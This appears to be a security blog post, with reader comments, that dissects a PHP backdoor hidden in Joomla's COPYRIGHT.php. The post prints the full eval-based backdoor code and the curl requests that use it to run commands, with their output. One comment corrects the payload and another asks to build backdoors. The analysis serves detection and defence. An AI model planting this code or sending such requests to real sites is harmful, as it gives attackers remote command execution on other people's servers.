Malware code can be very small, and the impact can be very severe! In our daily tasks we find a lot of web-based malware that varies in size and impact. Some of the malware is well known and very easy to detect, others not so much, but this one is very interesting.
Here’s the backdoor, can you see what it’s doing?
< ?php /* GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. .. GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.*/?> Joomla! derives from copyrighted works licensed under the GNU General Public License. This version has been modified pursuant to the GNU General Public License as of September 15, 2005, and as distributed, it includes or is derivative of works licensed under the GNU General Public License or other free or open source software licenses. Please see the CREDITS.php for a non-exhaustive list of contributors and copyright holders. A full text version of the GNU GPL version 2 can be found in the LICENSE.php file. A full text version of the other licenses that Joomla! is derivative of or includes can be found in LICENSES.php. <? php Copyright3_6_56(); function Copyright3_6_56(){ static $gnu = true; if(!$gnu) return; if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return; $gpl=implode('', $_REQUEST['gnu']); eval ($gpl( $_REQUEST['c_id'])); $gnu=false; }
Breaking the code down – Reducing the noise
This particular backdoor was inserted into a good file, the COPYRIGHT.php file in Joomla core. We are going to break the code down into 3 parts and explain in details each part of it.
1- First part (Deceiving)
In this section the bad guys inserted this “comment”:
/* GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. .. GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.*/?>
At a first glance, it doesn’t seem to have anything wrong with it, right? If your eyes didn’t catch it, they inserted the function execution between the comments:
*/Copyright3_6_56()/* 1989, 1991 Free Software Foundation, Inc.
This first part of backdoor is executing a function called Copyright3_6_56() that will be declared later on somewhere else in the code.
2 – Second Part (Holy)
This one is the simplest and there’s no mystery to it. As I mentioned early on, they inserted the malicious code within a good file. In this particular case the file is the original core file COPYRIGHT.php from Joomla 1.5.x.
/** * @version $Id: COPYRIGHT.php 14401 2010-01-26 14:10:00Z louis $ * @package Joomla * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php * Joomla! is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. */ defined('_JEXEC') or die('Restricted access'); Joomla! derives from copyrighted works licensed under the GNU General Public License. This version has been modified pursuant to the GNU General Public License as of September 15, 2005, and as distributed, it includes or is derivative of works licensed under the GNU General Public License or other free or open source software licenses. Please see the CREDITS.php for a non-exhaustive list of contributors and copyright holders. A full text version of the GNU GPL version 2 can be found in the LICENSE.php file. A full text version of the other licenses that Joomla! is derivative of or includes can be found in LICENSES.php.
3- Third Part (Juicy)
This is what you came here for.
Copyright3_6_56(); function Copyright3_6_56(){ static $gnu = true; if(!$gnu) return; if(!isset($_REQUEST['gnu'])||!isset($_REQUEST['c_id']))return; $gpl=implode('',$_REQUEST['gnu']); eval ($gpl($_REQUEST['c_id'])); $gnu=false; }
If you are a PHP Programmer or security guy this part may be really obvious, but if you are not, you are probably thinking:
- “This is part of the copyright file, isn’t it? It was there so the code may belong to that file”
- “I don’t see any issues with it”
- “Why am I editing this file”
All jokes aside, this is the part where the attacker declares the function and exactly what it does.
- function Copyright3_6_56(){ <- Declaring the function
- static $gnu = true; <- Setting $gnu variable with the true
- if(!$gnu) return; <- Checking if $gnu is different from true
- if(!isset($_REQUEST[‘gnu’])||!isset($_REQUEST[‘c_id’]))return; <- Checking if $_REQUEST['gnu'] and $_REQUEST['c_id'] are set
- $gpl=implode(”,$_REQUEST[‘gnu’]); <- Setting $gpl with the array value from $_REQUEST['gnu']
- eval ($gpl($_REQUEST[‘c_id’])); <- evaluating / executing ($gpl(c_id))
- $gnu=false; <- Setting $gnu with the value false
- } <- end of the function
This code is really bad and allows attackers to execute commands in your server via specific parameters.
The line ‘eval ($gpl($_REQUEST[‘c_id’]));’ is the perfect scenario for different kind of injections, for example:
- eval (system(CMD));
- eval (passthru(CMD));
- eval (base 64 _decode(BASE 64));
Let’s show an example of how dangerous it can be:
Encoding the malicious command
------------------------------------------------------ rodrigo@core:~$ echo "system('uname -a; id');"|base 64 c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK ------------------------------------------------------
Executing commands remotely
----------------------------------------------------------------------------------------------------------------------------------- rodrigo@core:~$ curl -s -d "gnu[]=base 64_decode&c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK" "http://192.168.0.1/COPYRIGHT.php" Linux core 3.2.0-25-generic #40-Ubuntu SMP Wed May 23 20:30:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux uid=33(www-data) gid=33(www-data) groups=33(www-data) Restricted access -- or -- rodrigo@core:~$ curl -s -d "gnu[]=system&c_id=uname -a;id" "http://192.168.0.1/COPYRIGHT.php" Linux core 3.2.0-25-generic #40-Ubuntu SMP Wed May 23 20:30:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux uid=33(www-data) gid=33(www-data) groups=33(www-data) Restricted access -----------------------------------------------------------------------------------------------------------------------------------
In regards to logs, unless you are specially monitoring the content of POST requests, this all you will see:
--------------------------------------------------------------------------------------------------------------------------- - access log 192.168.0.1 - - [31/Jul/2013:18:53:21 -0700] "POST /COPYRIGHT.php HTTP/1.1" 200 378 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3" ---------------------------------------------------------------------------------------------------------------------------
The attackers could also use $_GET, but it would be easier to detect by the content of c_id:
--------------------------------------------------------------------------------------------------------------------------- rodrigo@core:~$ curl -s -d "gnu[]=base 64_decode" "http://192.168.0.1/COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK" Linux core 3.2.0-25-generic #40-Ubuntu SMP Wed May 23 20:30:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux uid=33(www-data) gid=33(www-data) groups=33(www-data) Restricted access
Here is the entry in the access_log:
192.168.0.1 - - [31/Jul/2013:19:19:08 -0700] "POST /COPYRIGHT.php?c_id=c3lzdGVtKCd1bmFtZSAtYTsgaWQnKTsK HTTP/1.1" 200 368 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3" ---------------------------------------------------------------------------------------------------------------------------
Easy Conclusion
Our conclusion is simple, this is plain sneaky, and a lot to consider here. This is especially tricky being the backdoor was sneakily placed in a regular copyright file within core of an open source software. The regular eye may not have spotted this, and in turn would have been susceptible to arbitrary execution of code on their website by attackers.
If you have any questions, please don’t hesitate to contact us!
26 comments
Wow, just wow, this is both brilliant and sneaky, talk about hiding in plain sight…
Thanks for this very informative post. It helped me understand few things.
Holy.
Why is Copyright3_6_56() being called twice? Once sneakily in the middle of the licence and again right before its definition
Although it is called twice, payload won’t be executed twice, this is what $gnu static var is used for.
“If your eyes didn’t catch it, they inserted a function prototype between the comments:” –> Rodrigo, PHP does not have function prototypes. this part of the analysis is incorrect
Thanks for the note, Cristian. The post has been updated.
I was never think about this. It’s very instructive. Thanks a lot.
I’m thinking the responsible admins of an open source project that accepts code commits should always ALWAYS check whetever they accept in to the upstream repositories. The fact that this code could get in there is telling more about the project maintainers than it does about the ones downloading and running this.
Where does it say that this code was accepted upstream?
Probably someone broke into a Joomla-running server through an unrelated security hole and inserted this backdoor.
It doesnt say. My bad.
You are missing the point, such code will never be accepted in opensource projects, what this article describes is a malware that is injected by third parties into a joomla-based website.
True that
Was the original copyright file also a .php file? That was my first queue. That file should be .txt or at least not something a web server would execute.
In denial on God
There should not be a space in “base 64”.
You’re right, and we don’t want the post to be flagged either so it was added intentionally.
Hmm… if it uses $_REQUEST, that includes cookies, right? So that way, you could make your access look like a totally normal one in the logs, right?
Well, here I am, Eric…har har (not intentional). I think this is all very lucky – because it’s identifyable. I was given a code on the sly, maliciously planted, that simply added a digit, and every application and file, including individual portaits of icons for gaming that I indulge in, was subtly transferred to a drive to which I had no access, whatsoever, no matter what I tried. Likely, once there, the digit was removed and the entire drive appears “outside” (on the ‘net) as an ordinary ‘user’, doing God knows what. I think it’s extraordinarily obvious what’s been done here – a ‘locate and revise to’. Reminds me that it isn’t wise to expect such prolific intrusion storm as to have to cue the hacker from MY computer’s presentation. I should learn this programming business…when I push “enter”…I MEAN “enter”…!
Very informative post. There is an extra space between base and 64.
dafuq, too easy thing to note in a commit, commits are meant to be peer reviewed first, and whoever has a commit bit is ultimately the one responsible for it, and since it is opensource 😀 whoever finds the bug first gets the credit of the patch first. So i don’t really see the big deal in this, since it is just tooooooo obvious, this could have been written in a way more obfuscated way that even someone with a commit bit might have trouble understanding it by injecting bits and pieces of a nasty piece of code over time. Again, this is childish and if this did happenned in real life, then joomla committers 😀 you should dig a hole and die in it. 🙂
+$3|v3n
Thanks for an informative post. It gave me a bit more know how on what to look for when I looking over code on the server.
Hi all,
I get this error while calling a joomla iframe wrapper in my menus.
* * This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * *
Why is that?
This can happen whenever you install a theme or a plugin/module in any website. Most of the time common users use free stuff without checking the code.
What use Programming Languages? C? C++? Java?
i’m noob. i wanna immediacy make backdoor tools. but i’m not many
Knowledge. and I try to learn from the beginning. Unlike anyone to write comments.
and i’m can’t English. i’m Translator to use.
“gnu[]=base 64_decode”
should be changed to
“gnu[]=base&gnu[]=64_decode”
for implode to obtain the string “base64_decode”
Comments are closed.